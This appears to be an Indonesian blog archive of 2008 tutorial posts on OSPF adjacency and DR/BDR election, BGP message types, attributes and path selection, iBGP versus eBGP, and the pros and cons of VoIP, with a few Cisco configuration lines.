Protokol yang digunakan untuk mengirimkan perubahan ini harus cepat dan dapat diandalkan. Ini dapat dicapai oleh protokol flooding. Dalam protokol flooding, pesan yang dikirim adalah perubahan dari basis data serta nomor urut pesan tersebut. Dengan hanya mengirimkan perubahan basis data, waktu yang diperlukan untuk pengiriman dan pemrosesan pesan tersebut lebih sedikit dibandingdengan mengirim seluruh isi basis data tersebut. Nomor urut pesan diperlukan untuk mengetahui apakah pesan yang diterima lebih baru daripada yang terdapat dalam basis data. Nomor urut ini berguna pada kasus link yang putus menjadi tersambung kembali.

Pada saat terdapat link putus dan jaringan menjadi terpisah, basis data kedua bagian jaringan tersebut menjadi berbeda. Ketika link yang putus tersebut hidup kembali, basis data di semua router harus disamakan. Basis data ini tidak akan kembali sama dengan mengirimkan satu pesan link-state saja. Proses penyamaan basis data pada router yang bertetangga disebut sebagai menghidupkan adjacency. Dua buah router bertetangga disebut sebagai adjacent bila basis data link-state keduanya telah sama. Dalam proses ini kedua router tersebut tidak saling bertukar basis data karena akan membutuhkan waktu yang lama.

Proses menghidupkan adjacency terdiri dari dua fasa.Fasa pertama, kedua router saling bertukar deskripsi basis data yang merupakan ringkasan dari basis data yang dimiliki setiap router. Setiap router kemudian membandingkan deskripsi basis data yang diterima dengan basis data yang dimilikinya. Pada fasa kedua, setiap router meminta tetangganya untuk mengirimkan record-record basis data yang berbeda, yaitu bila router tidak memiliki record tersebut, atau nomor urut record yang dimiliki lebih kecil daripada yang dikirimkan oleh deskripsi basis data. Setelah proses ini, router memperbarui beberapa record dan ini kemudian dikirimkan ke router-router lain melalui protokol flooding.

Protokol link-state lebih baik daripada protokol distance-vector disebabkan oleh beberapa hal: waktu yang diperlukan untuk konvergen lebih cepat, dan lebih penting lagi protokol ini tidak menghasilkan routing loop. Protokol ini mendukung penggunaan beberapa metrik sekaligus. Throughput, delay, biaya, dan keandalan adalah metrik-metrik yang umum digunakan dalam jaringan. Di samping itu protokol ini juga dapat menghasilkan banyak jalur ke sebuah tujuan. Misalkan router A memiliki dua buah jalur dengan metrik yang sama ke host B. Protokol dapat memasukkan kedua jalur tersebut ke dalam forwarding table sehingga router mampu membagi beban di antara kedua jalur tersebut.

Rancangan OSPF menggunakan protokol link-state dengan beberapa penambahan fungsi. Fungsi-fungsi yang ditambahkan antara lain mendukung jaringan multi-akses, seperti X.25 dan Ethernet, dan membagi jaringan yang besar mejadi beberapa area.

Telah dijelaskan di atas bahwa setiap router dalam protokol link-state perlu membentuk adjacency dengan router tetangganya. Pada jaringan multi-akses, tetangga setiap router dapat lebih dari satu. Dalam situasi seperti ini, setiap router dalam jaringan perlu membentuk adjacency dengan semua router yang lain, dan ini tidak efisien. OSPF mengefisienkan adjacency ini dengan memperkenalkan konsep designated router dan designated router cadangan. Semua router hanya perlu adjacent dengan designated router tersebut, sehingga hanya designated router yang adjacent dengan semua router yang lain. Designated router cadangan akan mengambil alih fungsi designated router yang gagal berfungsi.

Langkah pertama dalam jaringan multi-akses adalah memilih designated router dan cadangannya. Pemilihan ini dimasukkan ke dalam protokol Hello, protokol dalam OSPF untuk mengetahui tetangga-tetangga router dalam setiap link. Setelah pemilihan, baru kemudian router-router membentuk adjacency dengan designated router dan cadangannya. Setiap terjadi perubahan jaringan, router mengirimkan pesan menggunakan protokol flooding ke designated router, dan designated router yang mengirimkan pesan tersebut ke router-router lain dalam link.

Designated router cadangan juga mendengarkan pesan-pesan yang dikirim ke designated router. Jika designated router gagal, cadangannya kemudian menjadi designated router yang baru serta dipilih designated router cadangan yang baru. Karena designated router yang baru telah adjacent dengan router-router lain, tidak perlu dilakukan lagi proses penyamaan basis data yang membutuhkan waktu yang lama tersebut.

Dalam jaringan yang besar tentu dibutuhkan basis data yang besar pula untuk menyimpan topologi jaringan. Ini mengarah kepada kebutuhan memori router yang lebih besar serta waktu perhitungan route yang lebih lama. Untuk mengantisipasi hal ini, OSPF menggunakan konsep area dan backbone. Jaringan dibagi menjadi beberapa area yang terhubung ke backbone. Setiap area dianggap sebagai jaringan tersendiri dan router-router di dalamnya hanya perlu memiliki peta topologi jaringan dalam area tersebut. Router-router yang terletak di perbatasan antar area hanya mengirimkan ringkasan dari link-link yang terdapat dalam area dan tidak mengirimkan topologi area satu ke area lain. Dengan demikian, perhitungan route menjadi lebih sederhana.

Kesederhanaan vs. Kemampuan

Kita sudah lihat sepintas bagaimana RIP dan OSPF bekerja. Setiap protokol routing memiliki kelebihan dan kekurangannya masing-masing. Protokol RIP sangat sederhana dan mudah diimplementasikan tetapi dapat menimbulkan routing loop. Protokol OSPF merupakan protokol yang lebih rumit dan lebih baik daripada RIP tetapi membutuhkan memori dan waktu CPU yang besar.

Di berbagai tempat juga terdapat yang menggunakan gabungan antara routing statik, RIP, RIP-v2, dan OSPF. Hasilnya di jaringan ini menunjukkan bahwa administrasi routing statik jauh lebih memakan waktu dibanding routing dinamik. Pengamatan pada protokol routing dinamik juga menunjukkan bahwa RIP menggunakan bandwidth yang lebih besar daripada OSPF dan semakin besar jaringan, bandwidth yang digunakan RIP bertambah lebih besar pula. Jadi, jika Anda sedang mendesain jaringan TCP/IP yang besar tentu OSPF merupakan pilihan protokol routing yang tepat

Tahapan dalam membentuk adjacency

Pada saat baru pertama ON, router OSPF tidak tahu apapun tentang tetangganya, router akan mulai mengirimkan paket Hello ke seluruh interface jaringan untuk memperkenalkan dirinya. Jika router yang baru ON ini menerima paket hello yang menyimpan informasi tentang dirinya maka router ini dapat saling berhubungan dua arah dengan router pengirim hello, Default nilai hello pada broadcast multi-access adalah 10 detik dan 40 detik jika tidak ada respon akan mati, dan pada NBMA hello 30 detik dan akan mati pada 120 detik jika tidak terdapat respon

1. down : router tidak dapat hello packet dari router manapun

2. attempt : router mengirimkan hello packet tetapi belum mendapat respon, hanya ada pada tipe NT non broadcast multi-access (NBMA) dan tidak ada respon dari router lain.

3. Init : router mendapatkan hello packet dari router lain, tetapi belum terbentuk hubungan yang bidirectional (2 way)

4. 2 way : pada tahap ini hubungan antar router sudah bi-directional, untuk NT broadcast DR & BDR nya akan melanjutkan ke tahap full, router non DR & BDR akan melanjutkan Full hanya dengan DR & BDR saja

5. Exstart : terjadi pemilihan Master dan Slave, master adalah router yang memiliki router id tertinggi

6. exchange : terjadi pertukaran Database Descriptor (DBD) paket DBD ini digambarkan dari topologi DB router, proses dimulai oleh master

7. loading : router akan memeriksa DBD dari router lain dan apabila ada entry yang tidak diketahui maka router akan mengira link state request (LSR) , LSR akan dibales dengan link state state ACK dan link state reply, diakhir tahap ini semua router yang di adjacent memiliki topologi DB yang sama

8. Full : masing-masing router sudah membentuk hubungan yang adjancent.

9. Pemilihan DR & BDR

Dalam jaringan multi akses router-router akan memilih DR (designated router) dan BDR(Backup designated router) dan berusaha adjencent dengan kedua router tersebut.

Ø Pemilihan terhadap tipe network multi access (broadcast & non broadcast)

Ø Pemilihan dilakukan berdasarkan nilai ;

Ø Router Priority

Ø Router ID

Ø Router priority diset per interface nilainya 0-255

Ø Router (config-if)# IP OSPF priority [0-255]

Ø Router mempunyai priority 0 tidak akan menjadi DR/BDR, statusnya DROTHER, semakin besar priority semakin besar kemungkinan dipilih menjadi BR (Priority paling tinggi) dan BDR (kedua paling tinggi / slave)

Ø Setting nya oleh administratornya, sesuai yang mana dulu routernya UP

Ø By default nilai router priority untuk semua router adalah ;

Ø Apabila priority router sama maka yang digunakan untuk menentukan DR/BDR adalah Router ID

Ø Pada tiap NT non broadcast (ex : Frame Relay) router yang menjadi DR adalah router yang memiliki link ke semua router yang lain (mutipoint) Jika terjadi DR & BDR mati maka router-router akan mengadakan pemilihan untuk menggantikan router yang mati tersebut. Proses floading adalah router dengan paket LSA harus meneruskan paket ke semua jaringan, dan memasukkan informasi LSA dalam databasenya , jika paket data yang diterima tidak baru maka akan di drop, disebut floading karena seolah-olah membanjiri jaringan dengan LSA (link state advertisement) Setiap kali BD linkstate router berubah, router kembali perlu menghitung rute terbaik dan membentuk table routing terbaru, dengan biaya terendah dan shortest path terpendek

Router (config) #router OSPF 1

Router (Config-router) # default-information originate à hanya untuk default router

Perintah redistribute static metric 100 – semua static routing akan diredistribusikan

Bagaimana Cara Kerja Router Menjalankan Routing Protokol BGP ?

2008-12-04T20:26:00.000+07:00

Routing protokol BGP baru dapat dikatakan bekerja pada sebuah router jika sudah terbentuk sesi komunikasi dengan router tetangganya yang juga menjalankan BGP. Sesi komunikasi ini adalah berupa komunikasi dengan protokol TCP dengan nomor port 179. Setelah terjalin komunikasi ini, maka kedua buah router BGP dapat saling bertukar informasi rute.

Untuk berhasil menjalin komunikasi dengan router tetangganya sampai dapat saling bertukar informasi routing, ada beberapa hal yang perlu diperhatikan:

1. Kedua buah router telah dikonfigurasi dengan benar dan siap menjalankan routing protokol BGP.

2. Koneksi antarkedua buah router telah terbentuk dengan baik tanpa adanya gangguan pada media koneksinya.

3. Pastikan paket-paket pesan BGP yang bertugas membentuk sesi BGP dengan router tetangganya dapat samp dengan baik ke tujuannya.

4. Pastikan kedua buah router BGP tidak melakukan pemblokiran port komunikasi TCP 179.

5. Pastikan kedua buah router tidak kehabisan resource saat sesi BGP sudah terbentuk dan berjalan.

Setelah semuanya berjalan dengan baik, maka sebuah sesi BGP dapat bekerja dengan baik pada router Anda.

Untuk membentuk dan mempertahankan sebuah sesi BGP dengan router tetangganya, BGP mempunyai mekanismenya sendiri yang unik. Pembentukan sesi BGP ini mengandalkan paket-paket pesan yang terdiri dari empat macam. Paket-paket tersebut adalah sebagai berikut:

1. Open Message
Sesuai dengan namanya, paket pesan jenis ini merupakan paket pembuka sebuah sesi BGP. Paket inilah yang pertama dikirimkan ke router tetangga untuk membangun sebuah sesi komunikasi. Paket ini berisikan informasi mengenai BGP version number, AS number, hold time, dan router ID.

2. Keepalive Message
Paket Keepalive message bertugas untuk menjaga hubungan yang telah terbentuk antarkedua router BGP. Paket jenis ini dikirimkan secara periodik oleh kedua buah router yang bertetangga. Paket ini berukuran 19 byte dan tidak berisikan data sama sekali.

3. Notification Message
Paket pesan ini adalah paket yang bertugas menginformasikan error yang terjadi terhadap sebuah sesi BGP. Paket ini berisikan field-field yang berisi jenis error apa yang telah terjadi, sehingga sangat memudahkan penggunanya untuk melakukan troubleshooting.

4. Update Message
Paket update merupakan paket pesan utama yang akan membawa informasi rute-rute yang ada. Paket ini berisikan semua informasi rute BGP yang ada dalam jaringan tersebut. Ada tiga komponen utama dalam paket pesan ini, yaitu Network-Layer Reachability Information (NLRI), path attribut, dan withdrawn routes.

Apa Saja Atribut-atribut BGP?
Salah satu ciri khas dan juga merupakan kekuatan dari routing protokol BGP ada pada atribut-atribut pendukungnya. Atribut-atribut ini yang nantinya digunakan sebagai parameter untuk menentukan jalur terbaik untuk menuju ke suatu situs. Atribut ini juga dapat mengatur keluar masuknya routing update dari router-router BGP tetangga. Dengan mengatur atribut ini, Anda dapat dengan bebas mengatur bagaimana karakteristik dan sifat dari sesi BGP tersebut.

Untuk melayani Anda mengatur dengan sebebas-bebasnya, tersedia 10 macam atribut BGP yang umum ditambah satu atribut BGP yang hanya ada pada produk-produk Cisco. Masing-masing memiliki ciri khas dan tugasnya tersendiri untuk memungkinkan Anda memanajemen routing update dan traffic yang keluar masuk. Berikut ini adalah ke-11 atribut-atribut BGP:

1. Origin
Atribut BGP yang satu ini merupakan atribut yang termasuk dalam jenis Well known mandatory. Jika sumbernya berasal router BGP dalam jaringan lokal atau menggunakan asnumber yag sama dengan yang sudah ada, maka indicator atribut ini adalah huruf “i” untuk interior. Apabila sumber rute berasal dari luar jaringan lokal, maka tandanya adalah huruf “e” untuk exterior. Sedangkan apabila rute didapat dari hasil redistribusi dari routing protokol lain, maka tandanya adalah “?” yang artinya adalah incomplete.

2. AS_Path
Atribut ini harus ada pada setiap rute yang dipertukarkan menggunakan BGP. Atribut ini menunjukkan perjalanan paket dari awal hingga berakhir di tempat Anda. Perjalanan paket ini ditunjukkan secara berurut dan ditunjukkan dengan menggunakan nomor-nomor AS. Dengan demikian, akan tampak melalui mana saja sebuah paket data berjalan ke tempat Anda.

3. Next Hop
Next hop sesuai dengan namanya, merupakan atribut yang menjelaskan ke mana selanjutnya sebuah paket data akan dilemparkan untuk menuju ke suatu lokasi. Dalam EBGP-4, yang menjadi next hop dari sebuah rute adalah alamat asal (source address) dari sebuah router yang mengirimkan prefix tersebut dari luar AS. Dalam IBGP-4, alamat yang menjadi parameter next hop adalah alamat dari router yang terakhir mengirimkan rute dari prefix tersebut. Atribut ini juga bersifat Wellknown Mandatory.

4. Multiple Exit Discriminator (MED)
Atribut ini berfungsi untuk menginformasikan router yang berada di luar AS untuk mengambil jalan tertentu untuk mencapat si pengirimnya. Atribut ini dikenal sebagai metrik eksternal dari sebuah rute. Meskipun dikirimkan ke AS lain, atribut ini tidak dikirimkan lagi ke AS ketiga oleh AS lain tersebut. Atribut ini bersifat Optional Nontransitive.

5. Local Preference
Atribut ini bersifat Wellknown Discretionary, di mana sering digunakan untuk memberitahukan router-router BGP lain dalam satu AS ke mana jalan keluar yang di-prefer jika ada dua atau lebih jalan keluar dalam router tersebut. Atribut ini merupakan kebalikan dari MED, di mana hanya didistribusikan antar-router-router dalam satu AS saja atau router IBGP lain.

6. Atomic Aggregate
Atribut ini bertugas untuk memberitahukan bahwa sebuah rute telah diaggregate (disingkat menjadi pecahan yang lebih besar) dan ini menyebabkan sebagian informasi ada yang hilang. Atribut ini bersifat Wellknown Discretionary.

7. Aggregator
Atribut yang satu ini berfungsi untuk memberikan informasi mengenai Router ID dan nomor Autonomous System dari sebuah router yang melakukan aggregate terhadap satu atau lebih rute. Parameter ini bersifat Optional Transitive.

8. Community
Community merupakan fasilitas yang ada dalam routing protokol BGP-4 yang memiliki kemampuan memberikan tag pada rute-rute tertentu yang memiliki satu atau lebih persamaan. Dengan diselipkannya sebuah atribut community, maka akan terbentuk sebuah persatuan rute dengan tag tertentu yang akan dikenali oleh router yang akan menerimanya nanti. Setelah router penerima membaca atribut ini, maka dengan sendirinya router tersebut mengetahui apa maksud dari tag tersebut dan melakukan proses sesuai dengan yang diperintahkan. Atribut ini bersifat Optional Transitive.

9. Originator ID
Atribut ini akan banyak berguna untuk mencegah terjadinya routing loop dalam sebuah jaringan. Atribut ini membawa informasi mengenai router ID dari sebuah router yang telah melakukan pengiriman routing. Jadi dengan adanya informasi ini, routing yang telah dikirim oleh router tersebut tidak dikirim kembali ke router itu. Biasanya atribut ini digunakan dalam implementasi route reflector. Atribut ini bersifat Optional Nontransitive.

10. Cluster list
Cluster list merupakan atribut yang berguna untuk mengidentifikasi router-router mana saja yang tergabung dalam proses route reflector. Cluster list akan menunjukkan path-path atau jalur mana yang telah direfleksikan, sehingga masalah routing loop dapat dicegah. Atribut ini bersifat Optional Nontransitive.

11. Weight
Atribut yang satu ini adalah merupakan atribut yang diciptakan khusus untuk penggunaan di router keluaran vendor Cisco. Atribut ini merupakan atribut dengan priority tertinggi dan sering digunakan dalam proses path selection. Atribut ini bersifat lokal hanya untuk
digunakan pada router tersebut dan tidak diteruskan ke router lain karena belum tentu router lain yang bukan bermerk Cisco dapat mengenalinya. Fungsi dari atribut ini adalah untuk memilih salah satu jalan yang diprioritaskan dalam sebuah router.

Ketika ada dua buah jalan keluar, maka dengan memodifikasi atribut Weight ini, router dapat memilih salah satu jalan untuk diprioritaskan sebagai jalan keluar. Jadi Anda dapat mengatur dengan leluasa jalan mana yang akan digunakan. Weight tidak digunakan pada router lain selain Cisco.

Bagaimana Proses Path Selection (Pemilihan Jalur Terbaik) dalam BGP?
Setelah Anda mengenal semua jenis atribut dan kegunaannya, kini saatnya untuk mengetahui bagaimana atribut-atribut tersebut digunakan untuk proses pemilihan jalan terbaik menuju suatu lokasi. Mengapa perlu dilakukan pemilihan rute terbaik? Kapan proses pemilihan rute terbaik dilakukan oleh BGP?

Router Anda perlu melakukan pemilihan rute terbaik ketika mendapatkan dua atau lebih rute untuk menuju ke suatu lokasi di luar. Biasanya sebuah router BGP mungkin saja mendapatkan sebuah rute lebih dari dua, tergantung pada banyaknya sesi BGP yang dibentuk dengan tetangga-tetangganya. Semakin banyak sesi BGP dengan router tetangga, maka router tetangga tersebut akan mengirimkan banyak rute yang diketahuinya, sehingga mungkin saja ada yang sama.

Ketika dihadapkan pada dua jalan dengan tujuan yang sama, maka tugas router BGP adalah harus memilih salah satu jalan untuk digunakan meneruskan informasi yang dibawanya. Jalan yang dipilih haruslah jalan yang terbaik yang ada saat itu untuk dapat meneruskan informasi sebaik mungkin. Untuk memilih salah satu jalan tersebut, router BGP akan langsung menjalankan prosedur pemilihan rute terbaik atau yang sering disebut dengan istilah path selection.

Dalam proses pemilihan jalur terbaik atau path selection, atribut-atribut yang telah dijelaskan di ataslah yang sangat berperan penting. Semua atribut tersebut memiliki tingkat prioritasnya sendiri dalam proses penentuan jalur terbaik. Maksudnya ketika ada dua rute menuju ke lokasi www.yahoo.com masing-masing memiliki atribut B dan C, maka router BGP akan membandingkan nilai B dengan C.

Jika ternyata nilai B yang lebih baik, maka rute menuju ke www.yahoo.com adalah rute yang beratribut B. Rute tersebut akan dijadikan sebagai jalur terbaik dan semua traffic menuju www.yahoo.com akan dilarikan melalui jalur B. Sedangkan rute yang memiliki atribut C dijadikan sebagai back-up. Back-up ini akan digunakan suatu saat ketika rute yang beratribut B tadi sedang bermasalah. Jadi rute yang tidak terpilih bukan berarti diabaikan begitu saja. Mekanisme inilah yang merupakan salah satu kehebatan dari BGP.

Proses path selection ke sebuah lokasi yang terjadi dalam sebuah sesi BGP hingga menemukan sebuah jalur terbaik adalah sebagai berikut:

1. Jika hanya ada sebuah rute menuju ke lokasi A, maka rute tersebutlah yang pasti dijadikan rute terbaik dan akan langsung digunakan.

2. Jika ada dua buah rute menuju ke lokasi A, maka router BGP akan menggunakan atribut WEIGH untuk memilih rute mana yang paling baik. Rute dengan nilai WEIGH yang paling tinggi akan dipilih sebagai jalur terbaik.

3. Jika nilai weight keduanya sama, maka router akan menggunakan atribut LOCAL PREFERENCE sebagai bahan pembanding. Rute dengan nilai LOCAL PREFERENCE yang paling tinggi adalah rute yang terpilih sebagai rute terbaik.

4. Jika nilai local preference sama, maka sebagai bahan pembanding router BGP akan memeriksa rute mana yang berasal dari dirinya sendiri. Jika rute tersebut berasal dari dirinya sendiri maka rute tersebut yang akan dijadikan rute terbaik.

5. Jika rute menuju A bukan berasal dari dirinya, maka router akan menggunakan atribut AS_PATH untuk mencari rute terbaik. Rute dengan atribut AS_PATH terpendek akan dipilih sebagai rute terbaik.

6. Apabila atribut AS_PATH nya sama, maka atribut selanjutnya yang digunakan untuk memilih jalan terbaik adalah ORIGIN. Atribut ORIGIN terdiri parameter IGP, EGP dan Incomplete. Parameter dengan nilai referensi terendah yang akan dipilih menjadi rute terbaik. IGP memiliki nilai referensi paling rendah, disusul EGP dan akhirnya Incomplete. Rute dengan atribut ORIGIN IGP akan lebih dipilih daripada EGP atau Incomplete, begitu seterusnya hingga rute dengan atribut Incomplete menjadi rute yang berada di urutan paling belakang.

7. Jika atribut Origin pada rute-rute tersebut sama, maka atribut selanjutnya yang digunakan adalah MED (Multi Exit Discriminator). MED merupakan atribut untuk memungkinkan Anda memilih jalan mana yang paling baik untuk menuju sebuah situs. Jenisnya kurang lebih sama seperti Local Preference, namun bedanya atribut MED ini hanya disebarkan dalam satu AS yang sama saja. Atribut ini tidak dikirimkan ke luar AS dari router BGP tersebut. Biasanya atribut ini banyak digunakan jika sebuah router memiliki dua atau lebih jalan yang sama namun menuju ke satu ISP. Rute dengan nilai MED yang paling rendah adalah yang terpilih sebagai rute terbaik.

8. Jika nilai MED pada kedua rute tersebut sama, maka router BGP akan melakukan pemilihan berdasarkan jenis sesi BGP dari rute-rute tersebut. Seperti telah dijelaskan diatas, jenis BGP ada dua macam yaitu IBGP dan EBGP. Kedua parameter ini juga digunakan dalam pemilihan jalan terbaik. Sebuah rute yang berasal dari sebuah sesi EBGP memiliki prioritas yang lebih tinggi daripada rute dari sesi IBGP. Jadi rute yang berasal dari sesi EBGP dengan router BGP lain tentu akan dijadikan sebagai rute terbaik.

9. Jika setelah melalui ketentuan diatas, kedua rute tersebut juga masih identik, maka proses path selection selanjutnya adalah menggunakan parameter jalur terdekat dalam jaringan internal untuk menuju ke Next Hop. Maksudnya adalah, router BGP akan membaca atribut Next hop dari kedua jalur tersebut. Setelah diketahui, router tersebut akan memeriksa jalur mana yang memilik Next hop yang terdekat dari router tersebut. Jalur yang diperiksa ini merupakan jalur yang berasal dari routing protokol internal seperti OSPF, EIGRP, atau bahkan statik. Setelah didapatkan rute mana yang memiliki Next hop yang paling dekat dan mudah diakses, maka rute tesebut langsung dipilih menjadi yang terbaik.

10. Jika prosedur ini masih tidak membuahkan sebuah rute terbaik juga, maka jalan terakhir untuk menemukannya adalah dengan membandingkan BGP ROUTER ID dari masingmasing rute. Sebuah rute pasti akan membawa informasi BGP ROUTER ID dari router asalnya. Parameter inilah yang menjadi pembanding terakhir untuk proses path selection ini. Karena BGP ROUTER ID tidak mungkin sama, maka sebuah jalan terbaik pastilah dapat terpilih. BGP ROUTER ID biasanya adalah alamat IP tertinggi dari sebuah router atau dapat juga berupa IP interface loopback.
Router BGP akan memilih rute dengan nilai BGP ROUTER ID yang terendah.

Kekuatan BGP yang lainnya adalah Anda dapat memodifikasi dan mengubah atribut-atribut yang ada pada sebuah rute, sehingga proses pemilihan jalur terbaik ini juga dapat Anda atur. Dengan mengatur proses ini, maka Anda dapat mengatur lalu-lintas data yang keluarmasuk jaringan Anda.

Pelajari Lebih Lanjut
Ilmu BGP tidak hanya berhenti sampai sini karena ini hanyalah dasar-dasarnya saja. Masih banyak trik yang ada di dalamnya yang tidak akan habis dibahas dua atau tiga bulan karena routing protokol BGP memang sangat rumit. Namun jika Anda sudah mengetahui dasarnya ini dengan baik, tentu akan lebih mudah untuk mempelajarinya lebih lanjut.

Pengaplikasian BGP tidak dapat dengan mudah Anda temukan. Penggunaan BGP biasanya hanya akan Anda temukan di ISP atau di perusahaan yang sangat besar yang memiliki banyak cabang dan sangat mengandalkan teknologi informasi seperti misalnya
bank. Untuk itu jika Anda kuasai BGP, tentu akan lebih mudah untuk Anda dapat bekerja di perusahaan-perusahaan jenis tersebut. Mulailah pelajari dari sekarang. Selamat belajar!

Jenis-jenis BGP

2008-12-04T20:21:00.001+07:00

Berikut ini adalah beberapa poin penting yang perlu diketahui untuk mempelajari routing protokol BGP lebih dalam lagi. Untuk mempelajarinya, mungkin akan membutuhkan waktu yang cukup lama, namun dengan mengetahui poin-poin pentingnya, tentu akan lebih mudah bagi Anda untuk mempelajarinya lebih dalam lagi.

Apa Saja Jenis-jenis BGP?
Routing protokol BGP dibagi menjadi dua subbagian besar yang berbeda berdasarkan fungsi, lokasi berjalannya sesi BGP, dan kebutuhan konfigurasinya:

1. IBGP (Internal BGP)
Sesuai dengan namanya, internal BGP atau IBGP adalah sebuah sesi BGP yang terjalin antara dua router yang menjalankan BGP yang berada dalam satu hak administrasi, atau dengan kata lain berada dalam satu autonomous system yang sama. Sesi internal BGP biasanya dibangun dengan cara membuat sebuah sesi BGP antarsesama router internal
dengan menggunakan nomor AS yang sama.

Biasanya IBGP berguna untuk memungkinkan router internal saling bertukar rute-rute yang didapat dari dunia luar. Dengan demikian semua router saling dapat mengetahui rute-rute apa saja yang disimpan oleh masing-masing router. Setelah mengetahui lebih banyak rute, maka jalan menuju ke suatu situs di internet memiliki banyak pilihan.

IBGP biasanya digunakan pada jaringan internal ISP atau perusahaan-perusahaan besar. Tujuannya adalah agar antarsesama router di dalamnya dapat saling bertukar informasi yang didapat dari dunia luar, atau dengan kata lain dari AS number lain. Untuk menjalankan IBGP dalam jaringan internal, sebuah sesi IBGP memerlukan bantuan routing protocol yang lain. Tujuannya adalah agar router tetangga yang menjadi tujuan sesi IBGP dapat dicapai oleh router tersebut. Hal ini diperlukan karena untuk membuka sebuah sesi BGP diperlukan reachability ke tetangga tujuannya.

Sebuah sesi IBGP antardua buah router atau lebih tidak memerlukan koneksi secara langsung, atau dengan kata lain tidak memerlukan koneksi Point-to-Point. Anda bisa membangun sesi IBGP antardua router meskipun keduanya berada dalam jarak yang jauh, asalkan tidak terpisah dalam autonomous system yang lain. Namun syarat untuk membuatnya demikian adalah desain dan implementasi internal routing protocol yang baik. Internal routing protocol sangat berguna untuk melakukan routing terhadap paket-paket komunikasi BGP sehingga bisa sampai dari router asal ke router tujuannya.

2. EBGP (External BGP)
Kebalikannya dari IBGP, External BGP atau sering disingkat EBGP berarti sebuah sesi BGP yang terjadi antardua router atau lebih yang berbeda autonomous systemnya atau berbeda hak administratif. Tidak hanya sekadar beda nomor AS saja, namun benar-benar
berbeda administrasinya. Jadi misalnya router Anda dengan router ISP ingin dapat saling bertukar informasi dengan menggunakan bantuan BGP, maka kemungkinan besar Anda akan membuat sesi EBGP. Hal ini dikarena autonomous system router Anda dengan router ISP dibuat berbeda.

Pihak ISP tentu tidak akan memasukkan router BGP Anda dalam autonomous systemnya karena memang bukan hak dan kewajiban mereka untuk mengurus router Anda. Dengan perbedaan autonomous system ini, maka seperangkat peraturan saat melakukan routing update tentu berbeda dengan apa yang ada dalam IBGP. Untuk itulah sesi BGP jenis ini dikategorikan berbeda, yaitu sebagai External BGP.

Sesi External BGP biasanya dibuat dengan menggunakan bantuan media point-to-point seperti misalnya line Point-to-Point serial, satelite Point-to-Point, wireless Point-to-Point, dan banyak lagi. Sesi EBGP biasanya terjadi pada router yang letaknya berada di perbatasan antara jaringan Anda dengan jaringan lain, atau sering disebut juga dengan istilah border router. Tujuan utama dibuatnya EBGP adalah untuk memudahkan pendistribusian informasi routing dari pihak luar ke jaringan Anda.

BGP (Border Gateway Protocol)

2008-12-04T20:18:00.002+07:00

BGP (Border Gateway Protocol) merupakan salah satu jenis routing protokol yang digunakan untuk koneksi antar AS (Autonomous System), dan salah satu jenis routing protokol yang banyak digunakan di ISP besar (Telkomsel) ataupun perbankan. AS number merupakan penomoran dari sekelompok router yang berada di di bawah satu administrasi, satu administrasi di sini maksudnya biasa satu ISP ataupun satu perusahaan tingkat corporate. Pemecahan sebuah daerah AS berguna untuk mengurangi jumlah informasi routing update yang dikeluarkan oleh tiap router. AS sendiri bisa terdiri dari angka 1-65ribuan. Tugas utama dari BGP adalah memberikan informasi tentang apa yang dimiliki oleh sebuah organisasi ke dunia di luar. Tujuannya adalah untuk memperkenalkan pada dunia luar alamat-alamat IP apa saja yang ada dalam jaringan tersebut. Setelah dikenal dari luar, server-server, perangkat jaringan, PC-PC dan perangkat komputer lainnya yang ada dalam jaringan tersebut juga dapat dijangkau dari dunia luar. Selain itu, informasi dari luar juga dikumpulkannya untuk keperluan organisasi tersebut berkomunikasi dengan dunia luar.

manfaat dan keunggulan dari routing protocol Internet ini dan pada kondisi yang bagaimana Anda harus menggunakan routing protocol ini. Namun, ada juga saatnya di mana routing protocol ini tidak perlu bahkan tidak boleh digunakan sama sekali. BGP memang sangat rumit dan complicated, namun justru di sinilah letak kehebatannya.

Routing protocol BGP menjadi rumit karena banyak sekali pernak-pernik yang dapat Anda atur dan harus diperhatikan jika ingin semuanya berjalan lancar. Jika mau bekerja sesuai dengan keinginan, Anda harus selalu melakukan modifikasi, tuning, perbaikan, dan terus-menerus memainkan atribut-atribut yang mengiringi jalannya routing protokol ini. Dan itupun sangat rentan terhadap masalah jika Anda tidak berhati-hati.

Kalau sudah bermasalah pasti keseluruhan akses Anda ke Internet menjadi kacau. Bukan hanya itu saja, server-server, pelanggan-pelanggan, dan semua jaringan yang ada di belakang router BGP milik Anda tidak dapat dikenali lagi dari dunia Internet. Masalah ini menjadi sangat fatal kalau jaringan yang mengandalkan router BGP ini sudah berskala besar. Maka dari itu, perlu keahlian khusus dan pengalaman yang sudah cukup banyak untuk dapat mengatur routing protocol ini.

Keuntungan dan Kelemahan dari VOIP

2008-12-03T13:49:00.000+07:00

1. Keuntungan VoIP

- Biaya lebih rendah untuk sambungan langsung jarak jauh. Penekanan utama dari VoIP adalah biaya. Dengan dua lokasi yang terhubung dengan internet maka biaya percakapan menjadi sangat rendah.

- Memanfaatkan infrastruktur jaringan data yang sudah ada untuk suara. Berguna jika perusahaan sudah mempunyai jaringan. Jika memungkinkan jaringan yang ada bisa dibangun jaringan VoIP dengan mudah. Tidak diperlukan tambahan biaya bulanan untuk penambahan komunikasi suara.

- Penggunaan bandwidth yang lebih kecil daripada telepon biasa. Dengan majunya teknologi penggunaan bandwidth untuk voice sekarang ini menjadi sangat kecil. Teknik pemampatan data memungkinkan suara hanya membutuhkan sekitar 8kbps bandwidth.

- Memungkinkan digabung dengan jaringan telepon lokal yang sudah ada. Dengan adanya gateway bentuk jaringan VoIP bisa disambungkan dengan PABX yang ada dikantor. Komunikasi antar kantor bisa menggunakan pesawat telepon biasa

- Berbagai bentuk jaringan VoIP bisa digabungkan menjadi jaringan yang besar. Contoh di Indonesia adalah VoIP Rakyat.

- Variasi penggunaan peralatan yang ada, misal dari PC sambung ke telepon biasa, IP phone handset

2. Kelemahan dari VoIP

- Kualitas suara tidak sejernih Telkom. Merupakan efek dari kompresi suara dengan bandwidth kecil maka akan ada penurunan kualitas suara dibandingkan jaringan PSTN konvensional. Namun jika koneksi internet yang digunakan adalah koneksi internet pita-lebar / broadband seperti Telkom Speedy, maka kualitas suara akan jernih - bahkan lebih jernih dari sambungan Telkom dan tidak terputus-putus.

- Ada jeda dalam berkomunikasi. Proses perubahan data menjadi suara, jeda jaringan, membuat adanya jeda dalam komunikasi dengan menggunakan VoIP. Kecuali jika menggunakan koneksi Broadband (lihat di poin atas).

- Regulasi dari pemerintah RI membatasi penggunaan untuk disambung ke jaringan milik Telkom.

